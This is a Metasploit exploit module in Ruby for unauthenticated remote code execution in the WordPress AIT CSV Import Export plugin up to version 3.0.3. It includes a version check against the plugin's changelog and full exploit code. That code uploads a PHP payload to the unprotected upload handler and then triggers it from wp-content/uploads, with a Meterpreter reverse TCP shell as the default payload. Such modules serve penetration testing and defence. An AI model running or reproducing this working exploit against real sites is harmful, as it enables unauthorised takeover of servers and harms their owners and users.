93 lines
3.3 KiB
Ruby
93 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HTTP::Wordpress
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'WordPress AIT CSV Import Export Unauthenticated Remote Code Execution',
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'Description' => %q{
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The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and
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execute arbitrary PHP code. The upload-handler does not require authentication, nor validates
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the uploaded content. It may return an error when attempting to parse a CSV, however the
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uploaded shell is left. The shell is uploaded to wp-content/uploads/. The plugin is not
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required to be activated to be exploitable.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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# 0day according to wpvdb
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'h00die', # msf module
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],
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'References' => [
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[ 'URL', 'https://www.ait-themes.club/wordpress-plugins/csv-import-export/#changelog-popup' ],
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[ 'WPVDB', '10471' ]
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],
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'Platform' => [ 'php' ],
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'Privileged' => false,
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'Arch' => ARCH_PHP,
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'Targets' => [
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[
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'AIT CSV Import Export <3.0.4',
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{
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'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
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}
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]
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],
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'DisclosureDate' => '2020-11-14', # 0day detected by wpvdb
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION ]
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}
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/'])
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]
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)
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end
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def check
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return CheckCode::Unknown unless wordpress_and_online?
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# no readme file, just a changelog so we need the version from there
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changelog = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'changelog.txt')
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check_version_from_custom_file(changelog, /^v(\d\.\d\.\d),/, '3.0.4')
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end
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def exploit
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filename = "#{Rex::Text.rand_text_alphanumeric(6)}.php"
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register_file_for_cleanup(filename)
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print_status("Uploading payload: #{filename}")
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post_data = Rex::MIME::Message.new
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post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'admin', 'upload-handler.php'),
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'method' => 'POST',
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
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'data' => post_data.to_s
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)
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fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res
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fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200
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print_status('Triggering payload')
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', filename)
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)
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end
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end
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